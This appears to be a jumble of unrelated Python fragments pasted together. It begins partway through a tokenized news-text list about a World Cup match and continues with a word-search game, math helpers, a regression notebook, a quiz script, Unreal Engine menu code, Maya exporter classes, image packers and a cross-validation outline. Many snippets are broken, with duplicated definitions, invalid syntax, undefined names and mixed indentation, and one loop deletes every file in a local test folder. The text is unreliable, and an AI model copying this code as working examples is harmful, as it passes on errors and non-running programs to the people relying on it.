'Lewandowski', 'said,', 'referring', 'to', 'his', 'reaction', 'after', 'finally', 'scoring.', "``I'm", 'aware', 'that', 'when', 'it', 'comes', 'to', 'the', 'World', 'Cup,', 'that', 'this', 'might', 'be', 'my', 'last', 'World', 'Cup.', 'And', 'I', 'wanted', 'to', 'underline', 'that', 'I', 'played', 'at', 'World', 'Cups', 'and', 'I', "scored.''Poland", 'coach', 'Czeslaw', 'Michniewicz', 'said', 'he', "wasn't", 'surprised', 'by', "Lewandowski's", 'moving', 'reaction.', 'I', 'know', 'how', 'deeply', 'he', 'lived', 'the', 'last', "match,''", 'Michniewicz', 'said.', "``I'm", 'very', 'sorry', 'he', "wasn't", 'lucky', 'enough,', 'he', 'hit', 'the', 'post', 'and', 'the', 'goalkeeper', 'made', 'a', 'save.', 'He', 'could', 'have', 'had', 'a', 'hat', 'trick', "today.''Poland", 'was', 'scrambling', 'for', 'long', 'periods', 'at', 'the', 'Education', 'City', 'Stadium', 'as', 'the', 'Saudi', 'team', 'was', 'pushed', 'forward', 'by', 'enthusiastic', 'fans', 'in', 'what', 'seemed', 'like', 'a', 'home', 'game.', 'The', 'frustration', 'was', 'clear', 'on', "Lewandowski's", 'face', 'as', "Poland's", 'yellow', 'cards', 'mounted.', 'Saudi', 'Arabia', 'had', 'a', 'chance', 'to', 'equalize', 'at', 'the', 'end', 'of', 'the', 'first', 'half', 'but', 'Poland', 'goalkeeper', 'Wojciech', 'Szczesny', 'saved', 'Salem', "Al-Dawsari's", 'penalty', 'kick.', 'He', 'then', 'blocked', 'Mohammed', "Al-Burayk's", 'shot', 'from', 'the', 'rebound.']
words_arr = ['Afghanistan', 'Albania', 'Algeria', 'Andorra', 'Angola', 'Argentina', 'Armenia', 'Australia', 'Austria', 'Azerbaijan', 'Bahrain', 'Bangladesh', 'Barbados', 'Belarus', 'Belgium', 'Belize', 'Benin', 'Bhutan', 'Bolivia', 'Botswana', 'Brazil', 'Brunei', 'Bulgaria', 'Burkina', 'Faso', 'Burundi', 'Cabo', 'Cambodia', 'Cameroon', 'Canada', 'Chad', 'Chile', 'China', 'Colombia', 'Comoros', 'Congo', 'Croatia', 'Cuba', 'Cyprus', 'Czech', 'Republic', 'Denmark', 'Djibouti', 'Dominica', 'Ecuador', 'Egypt', 'Salvador', 'Eritrea', 'Estonia', 'Eswatini', 'Ethiopia', 'Fiji', 'Finland', 'France', 'Gabon', 'Georgia', 'Germany', 'Ghana', 'Greece', 'Grenada', 'Guatemala', 'Guinea', 'Guyana', 'Haiti', 'Honduras', 'Hungary', 'Iceland', 'India', 'Indonesia', 'Iran', 'Iraq', 'Ireland', 'Italy', 'Jamaica', 'Japan', 'Jordan', 'Kazakhstan', 'Kenya', 'Kiribati', 'Kosovo', 'Kuwait', 'Kyrgyzstan', 'Laos', 'Latvia', 'Lebanon', 'Lesotho', 'Liberia', 'Libya', 'Liechtenstein', 'Lithuania', 'Luxembourg', 'Madagascar', 'Malawi', 'Malaysia', 'Maldives', 'Mali', 'Malta', 'Mauritania', 'Mauritius', 'Mexico', 'Moldova', 'Monaco', 'Mongolia', 'Montenegro', 'Morocco', 'Mozambique', 'Namibia', 'Nauru', 'Nepal', 'Netherlands', 'Zealand', 'Nicaragua', 'Niger', 'Nigeria', 'Norway', 'Oman', 'Pakistan', 'Palau', 'Panama', 'Paraguay', 'Peru', 'Philippines', 'Poland', 'Portugal', 'Qatar', 'Romania', 'Russia', 'Rwanda', 'Samoa', 'Senegal', 'Serbia', 'Seychelles', 'Singapore', 'Slovakia', 'Slovenia', 'Somalia', 'Spain', 'Sudan', 'Suriname', 'Sweden', 'Switzerland', 'Syria', 'Taiwan', 'Tajikistan', 'Tanzania', 'Thailand', 'Togo', 'Tonga', 'Tunisia', 'Turkey', 'Turkmenistan', 'Tuvalu', 'Uganda', 'Ukraine', 'Uruguay', 'Uzbekistan', 'Vanuatu', 'Vatican', 'Venezuela', 'Vietnam', 'Yemen', 'Zambia', 'Zimbabwe']
arr1 = [' ' , ' ' , " " , " " , " " , " " , " " , " " , " " , " " , " " , " " , " "]
word1 = "word1"
word2 = "word2"
word3 = "word3"
score = 0
print("spot the hidden words\n\n")

arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
hidden_vertical_words_arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
hidden_horizontal_words_arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
arr_rows = 7
arr_columns = 7
count = 0
player_answers = "right"
while (1):
    i_indices = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
    for i in range(0,6) :
        random_number = random.randint(1,2)
        count = 0
        if random_number == 0 :
            count = diagonal_word()
        #elif random_number == 1 :
        if i%2 == 0:
            count = vertical_word(count,i)
        else :
            count = horizontal_word(count,i)
        if count == -1 :
            clear_array()
            break
        #print(count)
        #print(count , " ", end = "")
    if count == -1 :
        continue 
    #else :
        #print(" ")
        #print("array completed")
    #complete_array()
    c = 1
    print(" "," "," ",end = "")
    for i in range(0,arr_columns):
        if (hidden_vertical_words_arr[3][i] != " " or hidden_vertical_words_arr[6][i] != " "):
            print(c," ",end = "")
            c += 1
        else :
            print(" "," ",end = "")
    print()
    print(" "," "," ",end = "")
    for i in range(0,arr_columns):
        if (hidden_vertical_words_arr[3][i] != " " or hidden_vertical_words_arr[6][i] != " "):
            print("v"," ",end = "")
        else :
            print(" "," ",end = "")
    print()
    for i in range(0,arr_rows):
        if (hidden_horizontal_words_arr[i][3] != " " or hidden_horizontal_words_arr[6][i] != " "):
            print(c,">"," ",end = "")
            c += 1
        else :
            print(" "," "," ",end = "")
        for j in range(0,arr_columns):
            if arr[i][j] == " " :
                print(arr[i][j]," ",end = "")
            else:
                print("_"," ",end = "")
        print()
    print()
    begin_time = time.time()
    for i in range(0,6):
        word = print()
    if (time.time() - begin_time < 1 and player_answers == "right"):
        score += 4
        print(" ")
        print("   ")
        print()
    else:
        print(f"your score is {score}")
        print("hidden words were:\n\n")
        for i in range(0,arr_rows):
            for j in range(0,arr_columns):
                print(arr[i][j]," ",end = "")
            print()
        print(arr1)
        player_answers = "right"
        break
    clear_array()
def my_decorator(func):
    def wrapper():
        func()
		func()

    return wrapper
def my_decorator(func):
    def wrapper():
        print("I'm before the method call")
        func()
        print("I'm after the method call")
    
    return wrapper
n=5
s=0
for i in range(1,n+1):
    # adding cube sum using pow() function
    s=s+pow(i,3)
print(s)   
def prime(x, y):
    prime_list = []
    for i in range(x, y):
        if i == 0 or i == 1:
            continue
        else:
            for j in range(2, int(i/2)+1):
                if i % j == 0:
                    break
            else:
                prime_list.append(i)
    return prime_list
 starting_range = 2
ending_range = 7
lst = prime(starting_range, ending_range)
if len(lst) == 0:
    print("There are no prime numbers in this range")
else:
    print("The prime numbers in this range are: ", lst)
def findArea(r):
    PI = 3.142
    return PI * (r*r);
 
# Driver method
print("Area is %.6f" % findArea(5));
def power(x, y):
     
    if y == 0:
        return 1
    if y % 2 == 0:
        return power(x, y // 2) * power(x, y // 2)
         
    return x * power(x, y // 2) * power(x, y // 2)
 
def order(x):
 
    # Variable to store of the number
    n = 0
    while (x != 0):
        n = n + 1
        x = x // 10
         
    return n
 
def isArmstrong(x):
     
    n = order(x)
    temp = x
    sum1 = 0
     
    while (temp != 0):
        r = temp % 10
        sum1 = sum1 + power(r, n)
        temp = temp // 10
 
    # If condition satisfies
    return (sum1 == x)
 
# Driver code
x = 153
print(isArmstrong(x))
 
x = 1253
print(isArmstrong(x))
import math 
 
def isPerfectSquare(x):
    s = int(math.sqrt(x))
    return s*s == x
 
 
def isFibonacci(n):
 
    # n is Fibonacci if one of 5*n*n + 4 or 5*n*n - 4 or both
    # is a perfect square
    return isPerfectSquare(5*n*n + 4) or isPerfectSquare(5*n*n - 4)
 
 for i in range(1, 11):
    if (isFibonacci(i) == True):
        print(i, "is a Fibonacci Number")
    else:
        print(i, "is a not Fibonacci Number ")
for dirpath, dirnames, filenames in os.walk("./Test/"):
    # Remove regular files, ignore directories
    for filename in filenames:
        os.unlink(os.path.join(dirpath, filename))
# Log-odd is the Logit intercept 
log_odd = -0.473288 
print(f"log_odd = -0.473288 ")

# Calculation odds -> compute e-function on the logit using exp() “de-logarithimize”
odds = np.exp(log_odd)
print(f'odds = {odds}  Round:{round(odds, 2)}')

# To convert from odds to a probability, divide the odds by one plus the odds.
prob = odds / (1 + odds)
print(f'prob = {prob} Round:{round(prob, 2)}')
# Setup a range from 1% probability to 100% probability
p = np.arange(0.01, 1, 0.005)
print('Probabilities: ', p[0:2],  p[-2:])

# Convert probabilities to odds 0.01 / (1-0.01) <=> (0.99)
odds = p / (1-p)
print('Odds: ', odds[0:2], odds[-2:])

# Get the natural log of those odds
log_odds = np.log(odds)
print('Log Odds: ', log_odds[0:2], log_odds[-2:])
%load_ext autoreload
%autoreload 2
# Import modules 
import pandas as pd
import numpy as np 
import seaborn as sns
import matplotlib.pyplot as plt

# Load df
df = pd.read_csv('filepath.csv')
df

#Exploratory Data Analysis with SweetViz
import sweetviz as sv
analyze_report = sv.analyze(df)
analyze_report.show_html('report.html', open_browser=False)

# Generate Heat Map, could be loaded after standardisation of variables.
%config InlineBackend.figure_format = 'retina'
plt.figure(figsize = (10, 10))

sns.heatmap(
    df.corr(), 
    cmap = 'crest', 
    annot = True, 
    annot_kws = {"size": 10}
)

# Univariate regression
# Use statsmodels with statsmodels.formula.api
# model1: an ols regression of observed dependent variable (values of the variable being observed)
# in the input dataset and the output of the (linear) function of the independent variable.
# y = dep_variable, x = ind_variable 

import statsmodels.formula.api as smf

model1 = smf.ols('dep_variable ~ indep_variable', data=df).fit()
print(model1.summary())

# Multivariate Linear Regression
# Using respective z-score (standardize) in order to compare the partial regression coefficients together.

# Variables to compare 
features = [
    "wait_time",
    "delay_vs_expected",
    "number_of_products",
    "number_of_sellers",
    "price",
    "freight_value",
    "distance_seller_customer",
]

# Standardize independent variables.
df_standardized = df.copy()
for f in features:
    mu = df[f].mean()
    sigma = df[f].std()
    df_standardized[f] = df[f].map(lambda x: (x - mu) / sigma)
df_standardized

# Regression Formula
formula = "dep_variable ~ " + ' + '.join(features)
formula

# Perform regression
# Review if statsitically significant review output
import statsmodels.formula.api as smf

model2 = smf.ols(formula = formula, data = df_standardized).fit()
print(model2.summary())

# Visualize the most important feature with a bar plot.
model2.params[1:].sort_values().plot(kind='barh')

# Check model's performance
# Regression performance should not be measured only by its R-squared!
# Always visualize the distribution of the predictions, and especially the residuals.
predicted_dep_variable = model2.predict(df_standardized[features])
residuals = predicted_dep_variable - df_standardized.dep_variable

# Plot the Resduals 
sns.histplot(residuals, kde=True, stat='density', discrete=True)
plt.title('Residuals Density Plot')

# Compute the associated RMSE.
# RMSE values between 0.2 and 0.5 shows that the model can relatively predict the data accurately.
# In addition, Adjusted R-squared more than 0.75 is a very good value for showing the accuracy.
rmse = (residuals**2).mean()**0.5
rmse

# Plot, on the same graph, both the distribution (KDE) of the (actual) dependent_variable 
# and the distribution of the predicted_dependent_variable.
sns.kdeplot(predicted_dep_variable, label='Predicted dep_variable Distribution')
sns.kdeplot(df.dep_variable, label = 'Actual dep_variable Distribution')
plt.title('Distribution of Predicted and Actual Dependant Variable ')

# Using seaborn, plot a regression line of the dep_variable vs.an independant_variable.
# Do plot with sample and whole population.
sample = df.sample(1000, random_state=42)
plt.figure(figsize=(13,5))
plt.suptitle('Regression of dep_variable, 95% Confidence Interval')
plt.subplot(1,2,1)
sns.regplot(x = sample.dep_variable, y= sample.dep_variable, y_jitter=.1, ci=95)
plt.xlim(right=70)
plt.ylim(bottom=0)

plt.subplot(1,2,2)
sns.regplot(x = orders.ind_variable, y= orders.dep_variable, y_jitter=.1, ci=95)
plt.xlim(right=70)
plt.ylim(bottom=0)
user = input("Hi, Im Aidan, what is your name?\n")
 
print(f"Well {user}, nice to meet you, your names kinda weird though.")
print(f"Nevertheless Im here to quiz you! To start, what is 7-4?")
 
 
larisha=input()
 
if(larisha =="3"):
    print("Thats right... Shawty.")
 
if(larisha !="3"):
    print("Seriously? How can you get it wrong, just count your fingers and try again.")
 
 
print("Moving on, What is 8x4?")
 
shawn=input()
 
if(shawn=="32"):
    print("Correct!")
 
if(shawn!="32"):
    print("Try again!")
 
print("Ok another question question what is the meaning of life?")
 
kelp=input()
 
if(kelp=="42"):
    print("Your very cool, its a great book.")
    
elif(kelp=="idk"):
    print("Then live your life in confusion.")
 
elif(kelp=="ethics"):
    print("bummer")
 
elif(kelp=="ass"):
    print("Bet https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab just copy and paste it.")
elif(kelp!="42"):
    print("Im sure your answer was amazing but no.")
    
print("Lets test your ethics.\n")
print("If, there was a dying man who needed $300 to get life saving sugery, and there was an Iron Maiden Concert that cost $300, which one would you choose, the man or the concert?")
 
bobby=input()
if(bobby=="the man"):
	print("Good choice, but you'll miss a great concert.")
 
elif(bobby=="the concert"):
	print("I mean, Iron Maiden is great but seriously you'd let a man die in return? yeesh")
 
elif(bobby!=["the man","the concert"]):
	print("That wasn't an answer, please use either, 'the man' or 'the concert'.")
    
print("Moving on... How many bones are in the human body?")
duke=input=()
 
if(duke=="206"):
	print("Jesus why do you know that, is so specific."
 
if(duke!="206"):
    print("Honestly I didn't know either I dont blame you one bit.")
          
print("Honeslty after that I  don't want to do any more numerical based questions.")
print
print("Lets get back to the easy stuff")
print("What would be the color outcome if I mixed the colors blue and red?")
gonk=input()
if(bobby=="purple"):
	print("Nice one! ")
elif(bobby!="purple"):
	print("Have you never seen a color wheel? oml.")
import numpy as np
from PIL import Image

path = 'res/input.tga'
img = Image.open(path)

data = np.asarray(img.convert('L'))

# -- this will print the resolution of the image in pixels, as numpy converts our image to an
# -- array with dimensions equal to the number of pixels in width / height of the image.
print(data.shape)
from django.utils.decorators import method_decorator
from django.views.decorators.cache import cache_page

class ProductListAPIView(generics.ListAPIView):
    serializer_class = ProductSerializer

    @method_decorator(cache_page(60))
    def dispatch(self, *args, **kwargs):
        return super(ProductListAPIView, self).dispatch(*args, **kwargs)
try:
       # Some Code.... 

except:
       # optional block
       # Handling of exception (if required)

else:
       # execute if no exception

finally:
      # Some code .....(always executed)
def log_params(func):
    def wrapper(*args, **kwargs):
        return_value = func(*args, **kwargs)
        print(f"{args} -> {return_value}")

    return wrapper


@log_params
def summation(a: int, b: int) -> int:
    return a + b


summation(10, 20)
    print(form.data)
    print(form.is_submitted())
    print(form.validate())
    print(form.validate_on_submit())
import os
import sys

sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'External'))
sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'Internal'))

from unreal_menu_demo.setup_menu import setup_menu, setup_menu_entry

setup_menu()
setup_menu_entry()
import unreal
from .constants import tool_menus
from .menu_entry import CustomScriptMenuEntry


# ----------------------------------------------------------------------------------------------------------------------
def get_custom_menu():
    # -- first let's acquire a handle on the new menu we created in the last section.
    return tool_menus.find_menu('LevelEditor.LevelEditorToolbar.MyPythonMenu')


# ----------------------------------------------------------------------------------------------------------------------
def setup_menu():
    # -- now we need a handle on the main level editor toolbar instance.
    # -- we can use ToolMenus' "find_menu" function for this.
    toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

    # -- now let's create a new menu entry
    entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
        # owner
        toolbar.menu_name,
        # name
        'MyPythonMenu',
        # label
        'My Python Menu',
        # tooltip
        'This is a custom python menu - you can do cool stuff with it!',
        # command_type
        unreal.ToolMenuStringCommandType.COMMAND,
        # custom command type - we don't need to use this
        '',
        # command string - normally this would be a python command, but we don't need this.
        ''
    )

    # -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
    entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

    # -- and now we can add the button to the toolbar
    toolbar.add_menu_entry('PythonExtensions', entry)

    # -- now we tell unreal that the button we just created is ACTUALLY a menu.
    # -- this makes it so that when pressed, unreal does not invoke the button's "actions",
    # -- but instead creates a context menu we can populate.
    # -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
    # -- Note how we have to register the button by its Name property.
    tool_menus.register_menu(
        # the menu name -- this MUST MATCH the name of the combo button we gave
        'LevelEditor.LevelEditorToolBar.MyPythonMenu',
        # parent - we leave this blank in this case
        '',
        # menu type - we just want a normal menu
        unreal.MultiBoxType.MENU,
        # warn_if_already_registered - if False, this will just not do anything if it already exists.
        False
    )

    # -- as a final step we need to tell unreal to refresh all menus
    tool_menus.refresh_all_widgets()


# ----------------------------------------------------------------------------------------------------------------------
def setup_menu_entry():
    entry = CustomScriptMenuEntry()
    entry.name = 'CustomScriptMenuEntry'
    get_custom_menu().add_menu_entry_object(entry)
    tool_menus.refresh_all_widgets()
import unreal


# -- this is a custom overloaded unreal class in python
# -- it inherits ToolMenuEntryScript, which means we can re-implement some key methods.
@unreal.uclass()
class CustomScriptMenuEntry(unreal.ToolMenuEntryScript):

    @unreal.ufunction(override=True)
    def get_label(self, context):
        return 'test'
    
    # -- this is where the real magic happens!
    @unreal.ufunction(override=True)
    def execute(self, context):
        """
        In this method, as a developer, you can run any logic you want from your context menu, and it can have as
        many lines as you want!
        """
        print('Hello World')
for i in range(len(dicts)):
    if dicts[i].get('id') == 2:
        del dicts[i]
l = [dict(zip([1],[x])) for x in range(1,3)]
print(l)


# Output
#[{1: 1}, {1: 2}]
exporter = BasicMayaMeshExporter(options=dict(mesh_name='Sphere001', export_path='my_export_path.fbx'))
exporter.run()
# -- Assuming "base_exporter.py" exists in sys.path
from base_exporter import ExporterBase

# -- import the modules we will need to acquire our mesh, and export it
import pymel.core as pm

class BasicMayaMeshExporter(ExporterBase):

    def validate():
        # -- get all meshes that conform to the name given in the options, under the "mesh_name" key
        mesh = pm.ls(self.options.get('mesh_name'), geometry=True, sl=False)

        # -- fail the export process if no such meshes exist
        if not len(mesh):
            return False

        # -- if they do, continue the export process. This exporter does not enfoce the mesh name to be unique.
        return True
        
    def export():
        # -- acquire the meshes and select them
        meshes = pm.ls(self.options.get('mesh_name'), geometry=True, sl=True)

        # -- perform the export
        pm.exportSelected(self.options.get('export_path'))
exporter = TextureExporter(options=dict(texture='my_texture'))
exporter.run()
class TextureExporter(ExporterBase):
    def validate(self):
        return my_dcc.has_texture(self.options.get('texture'))

    def export(self):
        my_dcc_method.export(self.options.get('texture'))
class ExporterBase(object):
    def __init__(options=None):
    	self.options = options or dict()
import my_dcc

class TextureExporter(ExporterBase):
    def validate(self):
        return my_dcc.has_texture(my_texture)

    def export(self):
        my_dcc_method.export(my_texture)
class ExporterBase(object):
    def validate(self):
        return True

    def export(self):
        raise NotImplementedError

    def run(self):
        if not self.validate():
            return False
        self.export()
class PackerBase(object):
    def process(self, output_file, inputs=None):
    	raise NotImplementedError()
from PIL import Image
import numpy

class RGBAPacker(object):
    def process(self, output_file, inputs=None):
    	# -- we assume "inputs" is a dictionary of image files, with the keys corresponding to the channels they want packing in.
    	inputs = inputs or dict()
    	r = Image.open(inputs.get('mask1')).convert('L')
        g = Image.open(inputs.get('mask2')).convert('L')
        
        # -- our procedurally generated blue channel is the multiplied result of the first and second masks. 
        # -- This is a super simple operation, but you can make this as complex as you like.
        b = numpy.asarray(r) * numpy.asarray(g)
        b = Image.fromarray(b)
        
        output = Image.merge('RGB', r, g, b)
        output.save(output_file)
from PIL import Image

class RGBAPacker(object):
    def process(self, output_file, inputs=None):
    	# -- we assume "inputs" is a dictionary of image files, with the keys corresponding to the channels they want packing in.
    	inputs = inputs or dict()
    	r = Image.open(inputs.get('r')).convert('L')
        g = Image.open(inputs.get('g')).convert('L')
        b = Image.open(inputs.get('b')).convert('L')
        a = Image.open(inputs.get('a')).convert('L')
        
        output = Image.merge('RGBA', r, g, b, a)
        output.save(output_file)
# -- now we tell unreal that the button we just created is ACTUALLY a menu.
# -- this makes it so that when pressed, unreal does not invoke the button's "actions",
# -- but instead creates a context menu we can populate.
# -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
# -- Note how we have to register the button by its Name property.
sub_menu = tool_menus.register_menu(
    # the menu name -- this MUST MATCH the name of the combo button we gave
    'LevelEditor.LevelEditorToolBar.MyPythonMenu',
    # parent - we leave this blank in this case
    '',
    # menu type - we just want a normal menu
    unreal.MultiBoxType.MENU,
    # warn_if_already_registered - if False, this will just not do anything if it already exists.
    False
)

# -- now we can create a menu entry. This can be done in a variety of ways.
menu_entry = unreal.ToolMenuEntry()
menu_entry.name = 'MyCustomOption'
menu_entry.set_label('My Custom Option')
menu_entry.type = unreal.MultiBlockType.MENU_ENTRY

sub_menu.add_menu_entry('My Custom Section', menu_entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unreal

# -- first let's acquire a global instance we'll need - ToolMenus
tool_menus = unreal.ToolMenus.get()

# -- now we need a handle on the main level editor toolbar instance.
# -- we can use ToolMenus' "find_menu" function for this.
toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

# -- now let's create a new menu entry
entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
    # owner
    toolbar.menu_name,
    # name
    'MyPythonMenu',
    # label
    'My Python Menu',
    # tooltip
    'This is a custom python menu - you can do cool stuff with it!',
    # command_type
    unreal.ToolMenuStringCommandType.COMMAND,
    # custom command type - we don't need to use this
    '',
    # command string - normally this would be a python command, but we don't need this.
    ''
)

# -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

# -- and now we can add the button to the toolbar
toolbar.add_menu_entry('PythonExtensions', entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unreal

# -- first let's acquire a global instance we'll need - ToolMenus
tool_menus = unreal.ToolMenus.get()

# -- now we need a handle on the main level editor toolbar instance.
# -- we can use ToolMenus' "find_menu" function for this.
toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

# -- now let's create a new menu entry
entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
    # owner
    toolbar.menu_name,
    # name
    'MyPythonMenu',
    # label
    'My Python Menu',
    # tooltip
    'This is a custom python menu - you can do cool stuff with it!',
    # command_type
    unreal.ToolMenuStringCommandType.COMMAND,
    # custom command type - we don't need to use this
    '',
    # command string - normally this would be a python command, but we don't need this.
    ''
)

# -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

# -- and now we can add the button to the toolbar
toolbar.add_menu_entry('PythonExtensions', entry)

# -- now we tell unreal that the button we just created is ACTUALLY a menu.
# -- this makes it so that when pressed, unreal does not invoke the button's "actions",
# -- but instead creates a context menu we can populate.
# -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
# -- Note how we have to register the button by its Name property.
sub_menu = tool_menus.register_menu(
    # the menu name -- this MUST MATCH the name of the combo button we gave
    'LevelEditor.LevelEditorToolBar.MyPythonMenu',
    # parent - we leave this blank in this case
    '',
    # menu type - we just want a normal menu
    unreal.MultiBoxType.MENU,
    # warn_if_already_registered - if False, this will just not do anything if it already exists.
    False
)

# -- now we can create a menu entry. This can be done in a variety of ways.
menu_entry = unreal.ToolMenuEntry()
menu_entry.name = 'MyCustomOption'
menu_entry.set_label('My Custom Option')
menu_entry.type = unreal.MultiBlockType.MENU_ENTRY

sub_menu.add_menu_entry('My Custom Section', menu_entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unicodedata

def strip_accents(s):
    return ''.join(c for c in unicodedata.normalize('NFD', s)
                   if unicodedata.category(c) != 'Mn')
def binarySearch(array, value):
    min_number = 0
    max_number = len(array) - 1

    while min_number <= max_number:
        mid_number = (min_number + max_number) // 2
        if value == array[mid_number]:
            return f"Found {value} at Index {mid_number}"
        elif value < array[mid_number]:
            max_number = mid_number - 1
        else:
            min_number = mid_number + 1
    return "Not Found"


array = [0, 2, 5, 8, 10, 12, 15]
print(binarySearch(array, 12))
f = open("final_list", 'r')
data = ast.literal_eval(f.read())
from sklearn.cross_validation import StratifiedKFold

def load_data():
    # load your data using this function

def create model():
    # create your model using this function

def train_and_evaluate__model(model, data[train], labels[train], data[test], labels[test)):
    model.fit...
    # fit and evaluate here.

if __name__ == "__main__":
    n_folds = 10
    data, labels, header_info = load_data()
    skf = StratifiedKFold(labels, n_folds=n_folds, shuffle=True)

    for i, (train, test) in enumerate(skf):
            print "Running Fold", i+1, "/", n_folds
            model = None # Clearing the NN.
            model = create_model()
            train_and_evaluate_model(model, data[train], labels[train], data[test], labels[test))
